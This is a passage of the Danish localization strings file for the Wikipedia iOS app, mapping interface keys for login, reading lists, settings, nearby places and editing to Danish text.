nyhedskilde\";\n\"description-welcome-descriptions-title\" = \"Titelbeskrivelser\";\n\"welcome-exploration-explore-feed-description\" = \"Anbefalet l\\U00e6sning og daglige artikler fra vores f\\U00e6llesskab\";\n\"search-recent-title\" = \"Seneste s\\U00f8gte\";\n\"empty-no-search-results-message\" = \"Ingen resultater fundet\";\n\"about-repositories\" = \"Arkiver\";\n\"action-saved\" = \"Gemt\";\n\"field-alert-password-confirm-mismatch\" = \"Adgangskoderne stemmer ikke overens\";\n\"login-forgot-password\" = \"Glemt din adgangskode?\";\n\"settings-storage-and-syncing-erase-saved-articles-button-title\" = \"Slet\";\n\"settings-my-languages\" = \"Mine sprog\";\n\"button-read-now\" = \"L\\U00e6s nu\";\n\"forgot-password-title\" = \"Nulstil adgangskode\";\n\"insert-action-title\" = \"Inds\\U00e6t\";\n\"edit-clear-formatting-accessibility-label\" = \"Fjern formatering\";\n\"table-of-contents-heading\" = \"Indhold\";\n\"two-factor-login-with-regular-code\" = \"Brug bekr\\U00e6ftelseskode\";\n\"wikitext-upload-save\" = \"Udgiver...\";\n\"home-button-history-accessibility-label\" = \"Wikipedia, vend tilbage til Historik\";\n\"settings-account\" = \"Konto\";\n\"wikitext-upload-save-sign-in\" = \"Log p\\U00e5\";\n\"reading-themes-controls-accessibility-syntax-highlighting-switch\" = \"Syntaksfremh\\U00e6velse\";\n\"article-share\" = \"Del\";\n\"about-translators-details\" = \"Oversat af frivillige p\\U00e5 %1$@\";\n\"history-title\" = \"Historik\";\n\"about-libraries-complete-list\" = \"Fuldst\\U00e6ndig liste\";\n\"in-the-news-notification-read-now-action-title\" = \"L\\U00e6s nu\";\n\"reading-list-login-title\" = \"Synkroniser dine gemte artikler?\";\n\"number-millions\" = \"%1$@ mio.\";\n\"share-message-format\" = \"\\U00bb%1$@\\U00ab %2$@\";\n\"settings-storage-and-syncing-full-sync\" = \"Dine l\\U00e6selister vil blive synkroniseret i baggrunden\";\n\"explore-most-read-generic-heading\" = \"Mest l\\U00e6st\";\n\"action-replace-all\" = \"Erstat alle\";\n\"wikitext-preview-link-preview-description\" = \"Dette link leder til '%1$@'\";\n\"two-factor-login-title\" = \"Log ind p\\U00e5 din konto\";\n\"find-infolabel-number-matches\" = \"%1$@ / %2$@\";\n\"share-get-directions-in-maps\" = \"F\\U00e5 Rutevejledning\";\n\"button-next\" = \"N\\U00e6ste\";\n\"explore-feed-preferences-feed-card-visibility-all-languages-off\" = \"Fra\";\n\"account-creation-log-in\" = \"Log p\\U00e5.\";\n\"on-this-day-title\" = \"P\\U00e5 denne dag\";\n\"share-social-mention-format\" = \"\\U00bb%1$@\\U00ab via @Wikipedia: %2$@\";\n\"abuse-filter-warning-spam\" = \"Tilf\\U00f8jelse af spam til artikler\";\n\"settings-clear-cache-cancel\" = \"Annuller\";\n\"field-password-placeholder\" = \"indtast adgangskode\";\n\"places-accessibility-show-more\" = \"Vis flere artikler\";\n\"reading-list-do-not-keep-button-title\" = \"Nej, slet artikler fra enhed\";\n\"preference-title-eventlogging-opt-in\" = \"Send anvendelsesrapporter\";\n\"home-title\" = \"Udforsk\";\n\"page-history-revision-size-diff-addition\" = \"Tilf\\U00f8jede %1$d|%1$d byte|%1$d bytes\";\n\"edit-comment-accessibility-label\" = \"Tilf\\U00f8j kommentarsyntaks\";\n\"wikitext-preview-save-changes-title\" = \"Gem \\U00e6ndringer\";\n\"reading-lists-default-list-description\" = \"Standardliste for dine gemte artikler\";\n\"field-new-password-placeholder\" = \"indtast ny adgangskode\";\n\"field-new-password-confirm-title\" = \"Bekr\\U00e6ft ny adgangskode\";\n\"diff-thanks-sent\" = \"Din 'Tak' blev sendt til %1$@\";\n\"abuse-filter-warning-repeat\" = \"Gentagende tegn\";\n\"talk-page-link-user-action-sheet-title\" = \"Brugersider\";\n\"places-filter-top-articles-count\" = \"%1$d|%1$d artikel|%1$d artikler\";\n\"settings-clear-cache-are-you-sure-message\" = \"Rydning af cachede data vil frig\\U00f8re omkring %1$@ plads. Det vil ikke slette dine gemte sider.\";\n\"empty-no-feed-action-message\" = \"Du kan stadig l\\U00e6se gemte sider\";\n\"main-menu-nearby\" = \"I n\\U00e6rheden\";\n\"places-enable-location-description\" = \"Adgang til din placering er kun tilg\\U00e6ngelig, n\\U00e5r appen eller en af dens funktioner er synlige p\\U00e5 din sk\\U00e6rm.\";\n\"abuse-filter-disallow-heading\" = \"Du kan ikke udgive denne redigering\";\n\"field-username-placeholder\" = \"indtast brugernavn\";\n\"forgot-password-email-sent\" = \"En e-mail med instruktioner om nulstilling af adgangskoden blev afsendt\";\n\"talk-page-reply-title\" = \"Svar\";\n\"action-remove\" = \"Fjern\";\n\"insert-media-image-type-settings-title\" = \"Billedetype\";\n\"about-testers-details\" = \"Kvalitetssikringstestet af %1$@\";\n\"settings-notifications-push-notifications\" = \"Push-notifikationer\";\n\"places-enable-location-title\" = \"Udforsk artikler i n\\U00e6rheden af din placering ved at aktivere placeringsadgang\";\n\"account-creation-have-account\" = \"Har du allerede en konto? %1$@\";\n\"home-button-explore-accessibility-label\" = \"Wikipedia, vend tilbage til Udforsk\";\n\"home-nearby-footer\" = \"Flere steder i n\\U00e6rheden af din placering\";\n\"table-of-contents-close-accessibility-hint\" = \"Afslut\";\n\"edit-reference-remove-accessibility-label\" = \"Fjern referencesyntaks\";\n\"about-content-license\" = \"Indholdslicens\";\n\"settings-appearance\" = \"L\\U00e6sepr\\U00e6ferencer\";\n\"explore-enable-location-title\" = \"Udforsk artikler i n\\U00e6rheden af din nuv\\U00e6rende placering\";\n\"add-articles-to-reading-list\" = \"Tilf\\U00f8j %1$d|%1$d artikel|%1$d artikler til l\\U00e6selisten\";\n\"action-read\" = \"L\\U00e6s\";\n\"settings-storage-and-syncing-enable-sync-footer-text\" = \"Tillad at Wikimedia gemmer dine gemte artikler og l\\U00e6selister til dine brugerpr\\U00e6ferencer, n\\U00e5r du logger ind for at synkronisere.\";\n\"table-of-contents-close-accessibility-label\" = \"Luk indholdsfortegnelse\";\n\"description-edit-learn-more\" = \"L\\U00e6r mere\";\n\"about-places-maps-license-details-link-text\" = \"Se her for licens detaljer\";\n\"explore-main-page-description\" = \"Hovedside for Wikimedia-projekt\";\n\"replace-infolabel-method-replace-all\" = \"Erstat alle\";\n\"welcome-exploration-on-this-day-description\" = \"Rejs tilbage i tid for at l\\U00e6re noget om hvad der skete i dag historisk\";\n\"edit-summary-choice-fixed-typos\" = \"Rettede sl\\U00e5fejl\";\n\"description-published-button-title\" = \"Udf\\U00f8rt\";\n\"explore-featured-article-sub-heading-from-language-wikipedia\" = \"Fra %1$@ Wikipedia\";\n\"welcome-languages-add-or-edit-button\" = \"Tilf\\U00f8j eller rediger foretrukne sprog\";\n\"reading-list-create-new-list-reading-list-name\" = \"Navn p\\U00e5 l\\U00e6seliste\";\n\"reverted-edit-back-to-article-button-title\" = \"Tilbage til artiklen\";\n\"reverted-edit-notification-body\" = \"Redigeringen du lavede p\\U00e5 artiklen %1$@ blev omgjort af %2$@\";\n\"field-password-confirm-title\" = \"Bekr\\U00e6ft adgangskode\";\n\"reading-lists-article-not-synced\" = \"Ikke synkroniseret\";\n\"reverted-edit-thanks-for-editing-title\" = \"Tak fordi du redigerer Wikipedia!\";\n\"main-menu-rate-app\" = \"Bed\\U00f8m appen\";\n\"settings-language-bar\" = \"Vis sprog ved s\\U00f8gning\";\n\"share-menu-item\" = \"Del \\U2026\";\n\"places-search-suggested-searches-header\" = \"S\\U00f8geforslag\";\n\"welcome-exploration-places-title\" = \"Faneblad med steder\";\n\"account-creation-captcha-title\" = \"CAPTCHA-sikkerhedskontrol\";\n\"reading-list-login-or-create-account-title\" = \"Log ind for at synkronisere gemte artikler\";\n\"explore-nearby-heading\" = \"Steder i n\\U00e6rheden\";\n\"description-help-tips-title\" = \"Tips til at skabe beskrivelser\";\n\"action-update\" = \"Opdater\";\n\"explore-feed-preferences-feed-card-visibility-global-cards-on\" = \"Til\";\n\"reading-list-add-saved-subtitle\" = \"Der er artikler gemt i dit Wikipediaprogram. \\U00d8nsker du at bevare dem og sammenf\\U00f8je dem med l\\U00e6selister synkroniseret til din konto?\";\n\"nearby-distance-label-miles\" = \"%1$@ amerikanske mil\";\n\"empty-no-saved-pages-title\" = \"Ingen gemte sider endnu\";\n\"field-username-title\" = \"Brugernavn\";\n\"edit-signature-remove-accessibility-label\" = \"Fjern signatursyntaks\";\n\"search-recent-clear-delete-all\" = \"Slet\";\n\"in-the-news-notification-share-action-title\" = \"Del...\";\n\"about-title\" = \"Om\";\n\"description-edit-license\" = \"Ved at \\U00e6ndre titelbeskrivelsen indvilliger jeg i %1$@ og uigenkaldeligt at udgive mit bidrag under licensen %2$@.\";\n\"login-no-account\" = \"Har du ikke en konto? %1$@\";\n\"reading-lists-count\" = \"%1$d|%1$d l\\U00e6seliste|%1$d l\\U00e6selister\";\n\"reading-lists-delete-reading-list-alert-message\" = \"Denne handling kan ikke fortrydes. Enhver artikle gemt kun i %1$d|denne liste|disse lister vil ikke blive gemt.\";\n\"welcome-volunteer-send-usage-reports\" = \"Send anvendelsesrapporter\";\n\"on-this-day-detail-header-date-range\" = \"fra %1$@ - %2$@\";\n\"reading-list-api-error-entry-limit\" = \"Denne post er ikke synkroniseret, da du har n\\U00e5et gr\\U00e6nsen for antallet af poster i denne liste.\";\n\"settings-primary-language-details\" = \"Det f\\U00f8rste sprog i denne liste bruges som appens prim\\U00e6re sprog. \\U00c6ndres sprog \\U00e6ndres dagligt indhold (s\\U00e5som Fremh\\U00e6vet artikel) som vises i Udforsk.\";\n\"original-tab-button-popover-description\" = \"Tryk p\\U00e5 \\U00abW\\U00bb for at g\\U00e5 tilbage til fanen du startede fra\";\n\"description-welcome-concise-title\" = \"G\\U00f8r det kort\";\n\"appearance-settings-theme-options\" = \"Temaindstillinger\";\n\"edit-style-table-view-title\" = \"Stil\";\n\"announcements-dismiss\" = \"Nej tak\";\n\"places-filter-articles-action-sheet-title\" = \"Filtrer artikler\";\n\"welcome-exploration-places-description\" = \"Find landem\\U00e6rker n\\U00e6r dig eller s\\U00f8g steder over hele verden\";\n\"explore-feed-preferences-card-hidden-title\" = \"Kort skjult\";\n\"edit-summary-placeholder-text\" = \"Hvordan har du forbedret artiklen?\";\n\"reading-list-add-saved-title\" = \"Der blev fundet gemte artikler\";\n\"reading-themes-controls-syntax-highlighting\" = \"Syntaksfremh\\U00e6velse\";\n\"reverted-edit-notification-read-more-action-title\" = \"L\\U00e6s mere\";\n\"account-group-title\" = \"Din konto\";\n\"action-unsave\" = \"Gem ikke\";\n\"explore-nearby-sub-heading-your-location-from-language-wikipedia\" = \"Din placering fra %1$@ Wikipedia\";\n\"in-the-news-notification-save-for-later-action-title\" = \"Gem til senere\";\n\"button-skip\" = \"Spring over\";\n\"wikitext-preview-link-external-preview-title\" = \"Ekstern henvisning\";\n\"reading-list-keep-subtitle\" = \"Der er artikler synkroniseret med din Wikipediakonto. \\U00d8nsker du at bevare dem p\\U00e5 denne enhed efter at du logger ud?\";\n\"replace-infolabel-method-replace\" = \"Erstat\";\n\"more-languages-tooltip-title\" = \"Tilf\\U00f8j sprog\";\n\"app-store-subtitle\" = \"Den frie encyklop\\U00e6di\";\n\"theme-black-display-name\" = \"Sort\";\n\"main-menu-account-logout\" = \"Log af\";\n\"description-help-about-title\" = \"Om\";\n\"about-testers\" = \"testere\";\n\"field-password-confirm-placeholder\" = \"genindtast adgangskode\";\n\"welcome-send-data-learn-more\" = \"L\\U00e6r mere om de data som indsamles\";\n\"places-search-recently-searched-header\" = \"Seneste s\\U00f8gninger\";\n\"explore-nearby-placeholder-heading\" = \"Steder\";\n\"about-libraries-licenses-title\" = \"Vi elsker open source software %1$@\";\n\"about-repositories-app-source-license-mit\" = \"MIT licens\";\n\"reading-list-deleted-accessibility-notification\" = \"L\\U00e6seliste slettet\";\n\"field-token-title\" = \"Bekr\\U00e6ftelseskode\";\n\"welcome-explore-tell-me-more-done-button\" = \"Forst\\U00e5et\";\n\"rank-accessibility-label\" = \"Nummer %1$@\";\n\"search-field-placeholder-text\" = \"S\\U00f8g i Wikipedia\";\n\"places-search-this-area\" = \"Resultater i dette omr\\U00e5de\";\n\"places-search-saved-articles\" = \"Alle gemte artikler\";\n\"abuse-filter-warning-irrelevant\" = \"Irrelevante eksterne links eller billeder\";\n\"empty-no-history-title\" = \"Ingen historik at vise\";\n\"potd-empty-error-description\" = \"Kunne ikke hente billede af den dag, for %1$@\";\n\"forgot-password-username-or-email-title\" = \"Eller\";\n\"fetcher-error-generic\" = \"Noget gik galt. Pr\\U00f8v venligst igen senere.\";\n\"account-creation-title\" = \"Opret en ny konto\";\n\"languages-wikipedia\" = \"Wikipediasprog\";\n\"main-menu-privacy-policy\" = \"Behandling af personlige oplysninger\";\n\"diff-compare-header-to-info-heading\" = \"Til:\";\n\"on-this-day-footer\" = \"Flere historiske h\\U00e6ndelser p\\U00e5 denne dag\";\n\"main-menu-about\" = \"Om Wikipedia-appen\";\n\"article-delete\" = \"Slet\";\n\"continue-reading-empty-description\" = \"Udforsk Wikipedia for flere artikler at l\\U00e6se\";\n\"reading-list-sync-enable-subtitle\" = \"Dine gemte artikler og l\\U00e6selister kan nu gemmes p\\U00e5 din Wikipediakonto og synkroniseres p\\U00e5 tv\\U00e6rs af enheder.\";\n\"share-default-format\" = \"\\U00bb%1$@\\U00ab fra \\U00bb%2$@\\U00ab: %3$@\";\n\"editing-welcome-set-knowledge-free-subtitle\" = \"For at give alle adgang til verdens viden, har vi brug for at du bidrager med at l\\U00e6se og redigere de emner som betyder mest for dig.\";\n\"no-internet-connection-article-reload-button\" = \"Vend tilbage til seneste gemte version\";\n\"wikitext-preview-changes\" = \"Henter forh\\U00e5ndsvisning af dine \\U00e6ndringer\\U2026\";\n\"account-creation-saving\" = \"Gemmer...\";\n\"field-new-password-title\" = \"Ny adgangskode\";\n\"reading-lists-default-list-title\" = \"Gemt\";\n\"table-of-contents-button-label\" = \"Indholdsfortegnelse\";\n\"search-did-you-mean\" = \"Mente du %1$@?\";\n\"talk-page-title-user-talk\" = \"Brugerdiskussion\";\n\"reading-list-add-saved-button-title\" = \"Ja, tilf\\U00f8j dem til mine l\\U00e6selister\";\n\"saved-unsave-article-and-remove-from-reading-lists-message\" = \"Fjernelse %1$d|af denne artikel vil fjerne den|af disse artikler vil fjerne dem fra alle associerede l\\U00e6selister\";\n\"action-move-to-reading-list\" = \"Flyt til l\\U00e6seliste\";\n\"settings-clear-cache\" = \"Ryd cachede data\";\n\"explore-nearby-sub-heading-your-location\" = \"Din placering\";\n\"about-product-of\" = \"Skabt af %1$@ med hj\\U00e6lp fra frivillige som dig\";\n\"search-result-redirected-from\" = \"Omdirigeret fra: %1$@\";\n\"icon-shortcut-nearby-title\" = \"Artikler i n\\U00e6rheden\";\n\"history-clear-all\" = \"Ryd\";\n\"reading-list-keep-title\" = \"Bevar gemte artikler p\\U00e5 enhed?\";\n\"saved-title\" = \"Gemt\";\n\"settings-title\" = \"Indstillinger\";\n\"field-captcha-title\" = \"Indtast den tekst, du ser ovenfor\";\n\"reading-themes-controls-accessibility-dark-theme-button\" = \"M\\U00f8rk tema\";\n\"search-recent-empty\" = \"Endnu ingen seneste s\\U00f8gninger\";\n\"settings-notifications-system-turn-on\" = \"Sl\\U00e5 notifikationer til\";\n\"description-published-footer\" = \"Du kan ogs\\U00e5 redigere artikler i denne app. Pr\\U00f8v gerne at rette skrivefejl og mindre s\\U00e6tninger ved at trykke p\\U00e5 blyantikonet n\\U00e6ste gang\";\n\"edit-minor-text\" = \"Dette er en mindre \\U00e6ndring\";\n\"button-save-for-later\" = \"Gem til senere\";\n\"talk-page-topic-title\" = \"Diskussion\";\n\"description-help-tips-example-title-two\" = \"Jordens h\\U00f8jeste bjerg\";\n\"edit-summary-learn-more-text\" = \"L\\U00e6r mere\";\n\"account-creation-logging-in\" = \"Logger p\\U00e5...\";\n\"action-move-to\" = \"Flyt til ...\";\n\"article-languages-filter-placeholder\" = \"Find sprog\";\n\"settings-storage-and-syncing-show-default-reading-list-title\" = \"Vis gemt l\\U00e6seliste\";\n\"welcome-intro-free-encyclopedia-more-description\" = \"Wikipedia er et globalt projekt til at bygge frie encyklop\\U00e6dier i alle verdens sprog. N\\U00e6sten alle med internetadgang kan deltage ved at bidrage neutral, kildeangivet information.\";\n\"welcome-notifications-tell-me-more-title\" = \"Mere om notifikationer\";\n\"icon-shortcut-search-title\" = \"S\\U00f8g i Wikipedia\";\n\"field-email-title\" = \"E-mail\";\n\"places-search-top-articles\" = \"Alle popul\\U00e6re artikler\";\n\"main-menu-heading-debug\" = \"Fejls\\U00f8gning\";\n\"places-filter-top-articles\" = \"Mest l\\U00e6st\";\n\"main-menu-title\" = \"Mere\";\n\"languages-title\" = \"Skift sprog\";\n\"abuse-filter-warning-blanking\" = \"T\\U00f8mning af afsnit eller hele artikler\";\n\"places-search-articles-that-match\" = \"%1$@ matcher \\U201c%2$@\\U201d\";\n\"theme-dark-display-name\" = \"M\\U00f8rk\";\n\"logged-out-log-back-in-button-title\" = \"Log ind p\\U00e5 din konto igen\";\n\"settings-notifications-trending\" = \"Popul\\U00e6re aktuelle begivenheder\";\n\"empty-no-article-message\" = \"Beklager, kunne ikke indl\\U00e6se artiklen\";\n\"edit-summary-choice-linked-words\" = \"Tilf\\U00f8jede links\";\n\"settings-storage-and-syncing-erase-saved-articles-alert-title\" = \"Ryd alle gemte artikler?\";\n\"number-thousands\" = \"%1$@K\";\n\"relative-date-minutes-ago\" = \"%1$d|0=Lige nu|%1$d minut siden|%1$d minutter siden\";\n\"action-share-accessibility\" = \"Del\";\n\"places-search-top-articles-that-match-scope\" = \"I n\\U00e6rheden\";\n\"reading-list-sync-enable-title\" = \"Aktiver synkronisering af l\\U00e6selister?\";\n\"reading-themes-controls-accessibility-brightness-slider\" = \"Lysstyrkeskyder\";\n\"settings-storage-and-syncing-server-sync-title\" = \"Synkroniser med serveren\";\n\"settings-storage-and-syncing-title\" = \"Lagring og synkronisering af gemte artikler\";\n\"close-button-accessibility-label\" = \"Luk\";\n\"reading-list-new-list-name-placeholder\" = \"titel p\\U00e5 l\\U00e6seliste\";\n\"no-internet-connection\" = \"Ingen internetforbindelse\";\n\"page-protected-can-not-edit-title\" = \"Denne side er beskyttet\";\n\"saved-pages-image-download-error\" = \"Hentning af billeder mislykkedes for denne gemte side.\";\n\"login-title\" = \"Log ind p\\U00e5 din konto\";\n\"home-themes-action-title\" = \"H\\U00e5ndter pr\\U00e6ferencer\";\n\"reading-list-limit-hit-for-unsorted-articles-subtitle\" = \"Der er en begr\\U00e6nsning p\\U00e5 5.000 usorterede artikler. Sorter venligst dine eksisterende artikler i lister for at forts\\U00e6tte synkroniseringen af usorterede artikler.\";\n\"replace-textfield-placeholder\" = \"Erstat med...\";\n\"main-menu-account-title-logged-in\" = \"Logget p\\U00e5 som: %1$@\";\n\"explore-featured-article-heading\" = \"Fremh\\U00e6vet artikel\";\n\"explore-random-article-sub-heading-from-wikipedia\" = \"Fra Wikipedia\";\n\"wikitext-upload-save-terms-name\" = \"Vilk\\U00e5r for anvendelse\";\n\"page-protected-can-not-edit\" = \"Du har ikke rettigheder til at redigere denne side\";\n\"theme-sepia-display-name\" = \"Sepia\";\n\"edit-minor-learn-more-text\" = \"L\\U00e6r mere om mindre \\U00e6ndringer\";\n\"share-building\" = \"Bygger Del-et-fakt-kort \\U2026\";\n\"languages-settings-title\" = \"Sprog\";\n\"editing-welcome-citations-title\" = \"Henvis til p\\U00e5lidelige kilder\";\n\"description-help-more-info-title\" = \"Flere oplysninger\";\n\"places-empty-search-title\" = \"S\\U00f8g efter Wikipedia-artikler med geografiske placeringer\";\n\"places-search-default-text\" = \"S\\U00f8g steder\";\n\"places-filter-saved-articles\" = \"Gemte artikler\";\n\"search-recent-clear-confirmation-sub-heading\" = \"Denne handling kan ikke fortrydes!\";\n\"two-factor-login-with-backup-code\" = \"Brug en af dine reservekoder\";\n\"explore-nearby-placeholder-sub-heading-on-wikipedia\" = \"Fra Wikipedia\";\n\"page-history-revision-minor-edit-accessibility-label\" = \"Mindre \\U00e6ndring\";\n\"action-add-to-reading-list\" = \"Tilf\\U00f8j til l\\U00e6seliste\";\n\"welcome-languages-description\" = \"Vi har fundet de f\\U00f8lgende sprog p\\U00e5 din enhed:\";\n\"home-news-footer\" = \"Flere aktuelle h\\U00e6ndelser\";\n\"places-accessibility-recenter-map-on-user-location\" = \"Centr\\U00e9r p\\U00e5 din placering\";\n\"description-edit-length-warning\" = \"%1$@ / %2$@\";\n\"edit-signature-accessibility-label\" = \"Tilf\\U00f8j signatursyntaks\";\n\"login-join-wikipedia\" = \"Deltag i Wikipedia.\";\n\"logged-out-continue-without-logging-in-button-title\" = \"Forts\\U00e6t uden at logge p\\U00e5\";\n\"empty-insert-media-title\" = \"V\\U00e6lg en fil fra Wikimedia Commons\";\n\"reading-list-sync-disabled-panel-title\" = \"Synkronisering deaktiveret\";\n\"description-welcome-start-editing-button\" = \"Start med at redigere\";\n\"action-sort\" = \"Sorter\";\n\"insert-media-image-size-settings-title\" = \"Billedest\\U00f8rrelse\";\n\"about-wikipedia\" = \"Wikipedia\";\n\"settings-primary-language\" = \"Prim\\U00e6r\";\n\"explore-nearby-placeholder-sub-heading-on-language-wikipedia\" = \"Fra %1$@ Wikipedia\";\n\"action-add-to\" = \"Tilf\\U00f8j til ...\";\n\"abuse-filter-warning-caps\" = \"Tekst skrevet med STORE BOGSTAVER\";\n\"reading-list-unable-to-update\" = \"Der opstod en uventet fejl under opdatering af din l\\U00e6seliste. Pr\\U00f8v igen senere.\";\n\"main-menu-account-login\" = \"Log p\\U00e5\";\n\"empty-no-reading-lists-title\" = \"Organiser gemte artikler med l\\U00e6selister\";\n\"replace-buttons-replace-all-accessibility\" = \"Erstat alle instanser\";\n\"account-creation-missing-fields\" = \"Du skal indtaste et brugernavn, en adgangskode og en adgangskodebekr\\U00e6ftelse for at oprette en konto.\";\n\"reading-list-create-new-list-title\" = \"Opret en ny liste\";\n\"reading-list-login-button-title\" = \"Log ind for at synkronisere dine gemte artikler\";\n\"explore-feed-preferences-feed-card-visibility-all-languages-on\" = \"Alle p\\U00e5\";\n\"description-published-title\" = \"Beskrivelse offentliggjort!\";\n\"explore-randomizer\" = \"Tilf\\U00e6ldig artikel\";\n\"places-accessibility-clear-saved-searches\" = \"Ryd gemte s\\U00f8gninger\";\n\"back-button-accessibility-label\" = \"Tilbage\";\n\"reading-list-exists-with-same-name\" = \"L\\U00e6selistenavn er allerede i brug\";\n\"logged-out-subtitle\" = \"Et problem medf\\U00f8rte, at du ikke l\\U00e6ngere er logget ind. Du m\\U00e5 logge ind igen, for at kunne synkronisere l\\U00e6selister og redigere under dit brugernavn.\";\n\"appearance-settings-reading-themes\" = \"L\\U00e6setemaer\";\n\"reading-themes-controls-accessibility-text-size-slider\" = \"Tekstst\\U00f8rrelseskyder\";\n\"replace-textfield-accessibility\" = \"Erstat\";\n\"share-email-format\" = \"\\U00bb%1$@\\U00ab\\n\\nfra \\U00bb%2$@\\U00ab\\n\\n%3$@\";\n\"status-saving-for-later\" = \"Gemmer til senere...\";\n\"edit-text-size-table-view-title\" = \"Tekst st\\U00f8rrelse\";\n\"page-protected-sysop\" = \"Denne side er beskyttet.\";\n\"welcome-notifications-tell-me-more-creation\" = \"Notifikationer skabes og leveres p\\U00e5 din enhed af appen, ikke fra vores (eller tredjeparters) servere.\";\n\"description-edit-pencil-title\" = \"Rediger titelbeskrivelse\";\n\"nearby-distance-label-km\" = \"%1$@ km\";\n\"reading-list-login-subtitle\" = \"Log ind eller opret en konto s\\U00e5 dine gemte artikler og l\\U00e6selister synkroniseres p\\U00e5 tv\\U00e6rs af enheder og gemmes i dine brugerpr\\U00e6ferencer.\";\n\"diff-context-lines-collapsed-button-title\" = \"Vis\";\n\"reverted-edit-title\" = \"Omgjort redigering\";\n\"search-button-accessibility-label\" = \"S\\U00f8g i Wikipedia\";\n\"welcome-intro-free-encyclopedia-description\" = \"Wikipedia er et samarbejde blandt frivillige og best\\U00e5r af mere end 40 millioner artikler i n\\U00e6sten 300 sprog.\";\n\"wikitext-preview-link-not-found-preview-title\" = \"Ingen intern henvisning blev fundet\";\n\"main-menu-account-logout-are-you-sure\" = \"Er du sikker p\\U00e5 at du \\U00f8nsker at logge ud?\";\n\"explore-continue-reading-heading\" = \"Forts\\U00e6t l\\U00e6sning\";\n\"home-more-like-footer\" = \"Mere som %1$@\";\n\"image-gallery-unknown-owner\" = \"Ophavsmand ukendt.\";\n\"button-report-a-bug\" = \"Rapport\\U00e9r en fejl\";\n\"saved-all-articles-title\" = \"Alle artikler\";\n\"new-password-title\" = \"S\\U00e6t din adgangskode\";\n\"menu-cancel-accessibility-label\" = \"Afbryd\";\n\"places-filter-no-saved-places\" = \"Du har ingen gemte steder\";\n\"wikitext-preview-link-preview-title\" = \"Linkforh\\U00e5ndsvisning\";\n\"button-publish\" = \"Udgiv\";\n\"settings-notifications-info\" = \"F\\U00e5 meldinger om popul\\U00e6re artikler p\\U00e5 Wikipedia med vores push-notifikationer. Alle leveret med respekt for privatliv og sidste nye data.\";\n\"action-saved-accessibility-notification\" = \"Artikel gemt til senere\";\n\"diff-context-lines-expanded-button-title\" = \"Skjul\";\n\"navbar-title-mode-edit-wikitext-preview\" = \"Forh\\U00e5ndsvisning\";\n\"welcome-languages-add-button\" = \"Tilf\\U00f8j et andet sprog\";\n\"continue-reading-empty-title\" = \"Ingen seneste l\\U00e6ste artikler\";\n\"top-read-see-more\" = \"Se flere mest l\\U00e6ste\";\n\"places-no-saved-articles-have-location\" = \"Ingen af dine gemte artikler har stedinformation\";\n\"field-password-title\" = \"Adgangskode\";\n\"reading-list-add-hint-title\" = \"Tilf\\U00f8j \\U00bb%1$@\\U00ab til l\\U00e6selisten?\";\n\"abuse-filter-warning-subheading\" = \"Din redigering kan indeholde:\";\n\"explore-random-article-sub-heading-from-language-wikipedia\" = \"Fra %1$@ Wikipedia\";\n\"welcome-intro-free-encyclopedia-more\" = \"L\\U00e6r mere om Wikipedia\";\n\"description-edit-publish\" = \"Udgiv beskrivelse\";\n\"two-factor-login-continue\" = \"Forts\\U00e6t login\";\n\"cc-zero\" = \"Creative Commons CC0\";\n\"icon-shortcut-random-title\" = \"Tilf\\U00e6ldig artikel\";\n\"action-find-in-page\" = \"S\\U00f8g p\\U00e5 siden\";\n\"button-ok\" = \"OK\";\n\"saved-unsave-article-and-remove-from-reading-lists-title\" = \"Fjern %1$d|artikel|artikler?\";\n\"account-creation-captcha-obtaining\" = \"Henter en ny CAPTCHA...\";\n\"explore-hide-card-prompt\" = \"Skjul dette kort\";\n\"logged-out-title\" = \"Du er blevet logget af\";\n\"about-repositories-app-source-license\" = \"Kildekode tilg\\U00e6ngelig under %1$@\";\n\"diff-paragraph-moved-direction-up\" = \"op\";\n\"dim-images\" = \"M\\U00f8rkl\\U00e6g billeder\";\n\"about-libraries\" = \"anvendte biblioteker\";\n\"edit-text-clear-formatting\" = \"Ryd formatering\";\n\"main-menu-zero-faq\" = \"Ofte stillede sp\\U00f8rgsm\\U00e5l om Wikipedia Zero\";\n\"two-factor-login-instructions\" = \"Indtast venligst to-faktor-bekr\\U00e6ftelseskode\";\n\"explore-main-page-heading\" = \"I dag p\\U00e5 Wikipedia\";\n\"diff-compare-header-from-info-heading\" = \"Fra:\";\n\"explore-another-random\" = \"En anden tilf\\U00e6ldig artikel\";\n\"search-reading-list-placeholder-text\" = \"S\\U00f8g i l\\U00e6seliste\";\n\"reading-list-login-or-create-account-button-title\" = \"Log ind eller opret konto\";\n\"feed-news-notification-button-text\" = \"Sl\\U00e5 notifikationer til\";\n\"explore-because-you-read-footer\" = \"Yderligere relaterede artikler\";\n\"insert-media-image-preview-more-information-action-title\" = \"Flere oplysninger\";\n\"action-share\" = \"Del\";\n\"places-filter-button-title\" = \"Filtr\\U00e9r\";\n\"nearby-distance-label-meters\" = \"%1$@ m\";\n\"home-nearby-location-footer\" = \"Mere n\\U00e6r %1$@\";\n\"find-replace-header\" = \"Find og erstat\";\n\"reading-list-generic-error\" = \"Der opstod en uventet fejl under opdatering af dine l\\U00e6selister.\";\n\"empty-no-history-message\" = \"Hold styr p\\U00e5 hvad du har l\\U00e6st her\";\n\"explore-because-you-read\" = \"Fordi du l\\U00e6ste\";\n\"action-save\" = \"Gem\";\n\"cancel\" = \"Afbryd\";\n\"settings-storage-and-syncing-erase-saved-articles-title\" = \"Slet gemte artikler\";\n\"readers-accessibility-label\" = \"%1$@ l\\U00e6sere\";\n\"description-add-title\" = \"Tilf\\U00f8j beskrivelse\";\n\"saved-search-default-text\" = \"S\\U00f8g i gemte artikler\";\n\"description-edit-for-article\" = \"Titelbeskrivelse for %1$@\";\n\"editing-welcome-impartial-tone-title\" = \"Skriv i en neutral tone\";\n\"sort-by-recently-added-action\" = \"Tilf\\U00f8jet for nylig\";\n\"appearance-settings-expand-tables\" = \"Udvid tabeller\";\n\"about-translators\" = \"overs\\U00e6ttere\";\n\"relative-date-hours-ago\" = \"%1$d|0=For nyligt|%1$d time siden|%1$d timer siden\";\n\"settings-notifications\" = \"Notifikationer\";\n\"description-help-about-wikidata\" = \"Om Wikidata\";\n\"explore-most-read-sub-heading-on-language-wikipedia\" = \"P\\U00e5 %1$@ Wikipedia\";\n\"reading-list-limit-hit-for-unsorted-articles-title\" = \"Begr\\U00e6nsningen for usorterede artikler er n\\U00e5et\";\n\"description-edit-placeholder-title\" = \"Korte beskrivelser er de bedste\";\n\"more-languages-tooltip-description\" = \"S\\U00f8g p\\U00e5 n\\U00e6sten 300 sprog\";\n\"reading-themes-controls-accessibility-black-theme-button\" 